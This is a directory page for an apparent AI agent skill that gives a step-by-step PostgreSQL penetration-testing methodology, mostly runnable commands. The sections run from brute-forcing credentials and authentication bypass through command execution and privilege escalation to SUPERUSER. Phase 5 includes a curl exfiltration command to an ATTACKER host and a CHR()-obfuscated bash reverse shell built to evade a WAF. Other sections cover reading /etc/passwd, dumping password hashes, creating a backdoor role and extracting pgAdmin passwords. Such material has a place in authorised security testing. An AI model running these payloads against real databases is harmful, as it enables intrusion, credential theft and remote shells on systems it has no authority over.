SuperAPI AI Directory

postgresql-pentesting

Security & auditing

View repository

Updated 10-16 04:47

About this skill

PostgreSQL Penetration Testing Methodology (5432)

In-depth Reference


Overall Decision Tree

发现 5432/5433 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 PostgreSQL 版本
│   ├─ 判断运行环境 (本地 / AWS RDS / GCP Cloud SQL / Supabase)
│   └─ 识别监听地址与认证策略 (pg_hba.conf)
├─ Phase 2: 认证测试
│   ├─ 默认凭据 (postgres:postgres / postgres:空)
│   ├─ 空密码测试
│   ├─ 密码喷洒 / 暴力破解
│   └─ trust 认证利用 (本地 / peer)
├─ Phase 3: 数据库枚举
│   ├─ 用户与角色 (superuser / CREATEROLE / 特权组)
│   ├─ 数据库 / Schema / 表
│   ├─ 敏感数据 (pg_shadow / pg_authid)
│   └─ 已安装扩展与可用语言
├─ Phase 4: 文件读写
│   ├─ COPY FROM — 读取文件到表
│   ├─ pg_read_file / pg_read_binary_file — 直接读
│   ├─ COPY TO — 写文件
│   ├─ lo_import / lo_export — 大对象读写 (二进制安全)
│   └─ 覆盖 filenode — 修改表数据 (无 UPDATE 权限)
├─ Phase 5: 命令执行 (RCE)
│   ├─ COPY FROM PROGRAM — 直接命令执行
│   ├─ UDF / PL 语言 — plpython / plperl / plsh
│   ├─ 恶意扩展加载 (.so)
│   └─ 配置文件 RCE (ssl_passphrase_command / archive_command / preload_libraries)
├─ Phase 6: 权限提升
│   ├─ CREATEROLE -> 特权组 (pg_execute_server_program 等)
│   ├─ 本地 trust 认证 -> SUPERUSER
│   ├─ ALTER TABLE + 索引函数提权 (GCP)
│   ├─ SECURITY DEFINER 函数滥用
│   └─ 覆盖 pg_authid filenode -> SUPERUSER
└─ Phase 7: 已知漏洞与后渗透
    ├─ CVE-2019-9193 (COPY FROM PROGRAM, 官方声明为特性)
    ├─ Metasploit 模块
    ├─ pgAdmin 密码提取
    └─ 日志与配置审计

Phase 1: Service Discovery and Version Identification

1.1 Port and Service Probing

# Nmap 服务版本探测
nmap -sV -sC -p 5432,5433 <IP>

# Metasploit 版本扫描
msf> use auxiliary/scanner/postgres/postgres_version

1.2 Environment Assessment

识别运行环境
├─ 发现 rdsadmin 数据库 -> AWS RDS 托管实例
├─ 发现 cloudsqladmin 用户 -> GCP Cloud SQL
├─ 发现 supabase_admin 用户 -> Supabase 托管
└─ 标准安装 -> 检查 pg_hba.conf / listen_addresses
-- 版本信息
SELECT version();

-- 当前用户与数据库
SELECT user, current_database();

-- 检查是否 superuser
SELECT current_setting('is_superuser');

-- 数据目录
SHOW data_directory;

1.3 Local Environment Audit (Existing Shell)

# 查找配置文件
find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null

# 检查认证策略中的 trust/peer 规则
rg -n "^(host|local)|trust|peer|md5|scram|password" /etc/postgresql 2>/dev/null

# 检查 socket 和 .pgpass
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null

Key Judgments:

  • trust rule -> no-password authentication, connect directly
  • peer rule -> switch to the postgres OS user and then connect
  • .pgpass exists -> may contain plaintext credentials

Phase 2: Authentication Testing

2.1 Connection Methods

# 本地连接
psql -U postgres

# 远程连接
psql -h <IP> -U <user> -d <database>
psql -h <IP> -p 5432 -U <user> -W <password> <database>

2.2 Credential Testing Decision Tree

尝试连接 PostgreSQL
├─ 1) 默认凭据
│   ├─ postgres:postgres
│   ├─ postgres:(空)
│   └─ admin:admin
├─ 2) trust 认证 (本地)
│   ├─ sudo -u postgres psql
│   └─ psql -h 127.0.0.1 -U postgres
├─ 3) 密码喷洒
│   ├─ hydra -t 4 -l postgres -P wordlist.txt <IP> postgres
│   └─ msf> use auxiliary/scanner/postgres/postgres_login
├─ 4) dblink 本地认证绕过
│   └─ 通过 dblink 连接 127.0.0.1 利用 trust 规则
└─ 5) PL/pgSQL 密码爆破
    └─ -> 读 references/postgresql-techniques.md #密码爆破

2.3 dblink Local Authentication Bypass

-- 检查 dblink 是否可用
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

-- 不存在则尝试创建
CREATE EXTENSION dblink;

-- 通过本地 trust 规则认证
SELECT * FROM dblink('host=127.0.0.1
    port=5432
    user=postgres
    password=anything
    dbname=postgres',
    'SELECT usename, passwd FROM pg_shadow')
RETURNS (usename TEXT, passwd TEXT);

Phase 3: Database Enumeration

3.1 Basic Information Gathering

-- 列出数据库
\list
SELECT datname FROM pg_database;

-- 切换数据库
\c <database>

-- 列出表
\d
SELECT schemaname, tablename, tableowner FROM pg_tables;

-- 列出 Schema
SELECT schema_name, schema_owner FROM information_schema.schemata;
\dn+

3.2 User and Privilege Enumeration

-- 用户与角色
\du+
SELECT usename, passwd FROM pg_shadow;

-- 详细角色信息 (含组成员关系)
SELECT
    r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole,
    r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit,
    ARRAY(SELECT b.rolname
          FROM pg_catalog.pg_auth_members m
          JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
          WHERE m.member = r.oid) as memberof,
    r.rolreplication
FROM pg_catalog.pg_roles r ORDER BY 1;

-- 表权限
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants;

3.3 Key Privileged Groups

特权组检查
├─ pg_execute_server_program -> 可执行系统命令
├─ pg_read_server_files -> 可读任意文件
├─ pg_write_server_files -> 可写任意文件
└─ 成员关系确认: \du+ 或查询 pg_auth_members

3.4 Extensions and Languages

-- 已安装扩展
SELECT * FROM pg_extension;
SHOW rds.extensions;  -- AWS RDS

-- 可用语言 (PL/Python / PL/Perl 可用于 RCE)
SELECT lanname, lanacl FROM pg_language;

-- 可用函数
\df pg_catalog.*
SELECT * FROM pg_proc WHERE proname LIKE 'pg_read%';

Phase 4: File Read/Write

4.1 File Read Decision Tree

文件读取路径
├─ superuser 或 pg_read_server_files 成员
│   ├─ COPY 读取
│   │   ├─ CREATE TABLE t(c text);
│   │   ├─ COPY t FROM '/etc/passwd';
│   │   └─ SELECT * FROM t;
│   ├─ pg_read_file()
│   │   └─ SELECT pg_read_file('/etc/passwd', 0, 1000000);
│   ├─ pg_read_binary_file()
│   │   └─ SELECT pg_read_binary_file('/etc/passwd');
│   └─ pg_ls_dir() — 列目录
│       └─ SELECT * FROM pg_ls_dir('/tmp');
├─ CREATEROLE 权限
│   ├─ GRANT pg_read_server_files TO <user>;
│   └─ 回到上方 superuser 路径
└─ lo_import() — 大对象导入
    ├─ SELECT lo_import('/etc/passwd', 13337);
    └─ SELECT encode(lo_get(13337), 'escape');

Note: Using pg_read_file / pg_ls_dir requires switching to the postgres database first (\c postgres), otherwise a permission error may be reported.

4.2 File Write Decision Tree

文件写入路径
├─ superuser 或 pg_write_server_files 成员
│   ├─ COPY TO — 文本写入
│   │   └─ COPY (SELECT convert_from(decode('<B64>','base64'),'utf-8')) TO '/path/file';
│   │   注意: 不支持换行符,必须单行 base64; 不能写二进制
│   └─ lo_export() — 二进制安全写入
│       ├─ SELECT lo_from_bytea(13338, decode('<B64>','base64'));
│       └─ SELECT lo_export(13338, '/path/file');
├─ CREATEROLE 权限
│   ├─ GRANT pg_write_server_files TO <user>;
│   └─ 回到上方 superuser 路径
└─ 覆盖 filenode — 无 UPDATE 时修改表数据
    └─ -> 读 references/postgresql-techniques.md #filenode覆盖

Phase 5: Command Execution (RCE)

5.1 RCE Path Decision Tree

命令执行路径
├─ 方法 A: COPY FROM PROGRAM (PostgreSQL >= 9.3)
│   ├─ 需要: superuser 或 pg_execute_server_program 成员
│   ├─ 直接执行
│   │   ├─ CREATE TABLE cmd_exec(cmd_output text);
│   │   ├─ COPY cmd_exec FROM PROGRAM 'id';
│   │   └─ SELECT * FROM cmd_exec;
│   └─ 反弹 Shell
│       └─ COPY t FROM PROGRAM 'perl -MIO -e ''...reverse shell...''';
├─ 方法 B: PL 语言 (需要已安装)
│   ├─ PL/Python (plpython3u)
│   │   └─ CREATE FUNCTION cmd(c text) RETURNS text AS $$ import os; return os.popen(c).read() $$ LANGUAGE plpython3u;
│   ├─ PL/Perl (plperlu)
│   └─ PL/sh
│   └─ -> 读 references/postgresql-techniques.md #PL语言RCE
├─ 方法 C: 恶意扩展 (.so)
│   ├─ 编译恶意 .so (需匹配 PG 版本)
│   ├─ 通过 lo_export 上传到服务器
│   └─ CREATE EXTENSION 或 LOAD 加载
│   └─ -> 读 references/postgresql-techniques.md #恶意扩展
├─ 方法 D: 配置文件 RCE
│   ├─ ssl_passphrase_command -> 加密私钥 + pg_reload_conf()
│   ├─ archive_command -> WAL 触发命令执行
│   └─ session_preload_libraries -> 预加载恶意 .so
│   └─ -> 读 references/postgresql-techniques.md #配置文件RCE
└─ WAF 绕过: 使用 DO $$ + CHR() 构造 COPY PROGRAM
    └─ DO $$ DECLARE cmd text; BEGIN cmd := CHR(67)||'OPY...'; EXECUTE cmd; END $$;

5.2 COPY FROM PROGRAM Quick Reference

-- 基础命令执行
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

-- 数据外带
COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/?f=`ls -l|base64`';

-- Metasploit
msf> use multi/postgres/postgres_copy_from_program_cmd_exec

5.3 WAF Bypass (SQLi Context)

-- 使用 CHR() 避免 COPY 关键字被过滤
DO $$
DECLARE cmd text;
BEGIN
  cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"''';
  EXECUTE cmd;
END $$;

Phase 6: Privilege Escalation

6.1 Privilege Escalation Path Decision Tree

权限提升路径
├─ 已有 CREATEROLE
│   ├─ GRANT pg_execute_server_program TO <user>;  -> RCE
│   ├─ GRANT pg_read_server_files TO <user>;       -> 文件读
│   ├─ GRANT pg_write_server_files TO <user>;      -> 文件写
│   └─ ALTER USER <other> WITH PASSWORD 'new';     -> 修改他人密码
├─ 已有 RCE (pg_execute_server_program)
│   └─ 本地 trust 认证 -> 提升 SUPERUSER
│       └─ COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <you> WITH SUPERUSER;"';
├─ 已有文件读写
│   ├─ 覆盖 pg_authid filenode -> 设置 rol* 标志位 = 1
│   │   ├─ 获取 data_directory
│   │   ├─ SELECT pg_relation_filepath('pg_authid');
│   │   ├─ lo_import / lo_export 下载并编辑 filenode
│   │   └─ -> 读 references/postgresql-techniques.md #filenode提权
│   └─ 覆盖 postgresql.conf -> 配置文件 RCE
├─ ALTER TABLE 提权 (GCP Cloud SQL)
│   ├─ 创建带恶意索引函数的表
│   ├─ ALTER TABLE owner TO cloudsqladmin
│   └─ ANALYZE 触发函数以 owner 权限执行
│   └─ -> 读 references/postgresql-techniques.md #ALTER_TABLE提权
├─ SECURITY DEFINER 函数滥用
│   ├─ 搜索存在 SQL 注入的 SECURITY DEFINER 函数
│   └─ 注入提权 SQL
└─ 事件触发器提权 (Supabase)
    ├─ 创建 ddl_command_start/end 事件触发器
    ├─ DROP/CREATE EXTENSION postgres_fdw 触发 superuser 窗口
    └─ 触发器在 superuser 上下文中创建后门角色
    └─ -> 读 references/postgresql-techniques.md #事件触发器提权

6.2 CREATEROLE Quick Privilege Escalation

-- 授予特权组成员资格
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";

-- 创建新角色并加入特权组
CREATE ROLE pwn LOGIN PASSWORD 'pwned123' IN GROUP pg_read_server_files;

-- 修改其他非 superuser 用户密码
ALTER USER target_user WITH PASSWORD 'new_password';

6.3 Local trust Authentication Escalation to SUPERUSER

-- 前提: 拥有 COPY FROM PROGRAM 权限 + pg_hba.conf 中 local/127.0.0.1 为 trust
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER attacker WITH SUPERUSER;"';

Phase 7: Known Vulnerabilities and Post-Exploitation

7.1 Metasploit Modules

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_login
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
msf> use multi/postgres/postgres_copy_from_program_cmd_exec

7.2 dblink Port Scanning

-- 利用 dblink 错误信息判断端口状态
SELECT * FROM dblink_connect('host=TARGET port=PORT user=x password=x dbname=x connect_timeout=10');
-- Host is down: "No route to host"
-- Port closed: "Connection refused"
-- Port open: "server closed the connection unexpectedly" 或 "password authentication failed"
-- Port filtered: "Connection timed out"

7.3 pgAdmin Password Extraction

# 读取 pgAdmin 数据库
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
# 密码可用 pgadmin4 crypto.py 中的 decrypt 函数解密

7.4 Log Configuration Audit

# 启用详细日志 (postgresql.conf)
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
# 日志路径: /var/lib/postgresql/<VERSION>/main/log/

7.5 pg_hba.conf Audit Points

Configuration Risk Description
local all all trust Local users can access all databases without a password
host all all 0.0.0.0/0 trust Any remote passwordless access (critical)
host all all 127.0.0.1/32 trust Local loopback passwordless access
peer mapping OS user directly maps to DB role
md5 / password md5 can be man-in-the-middled, password transmitted in plaintext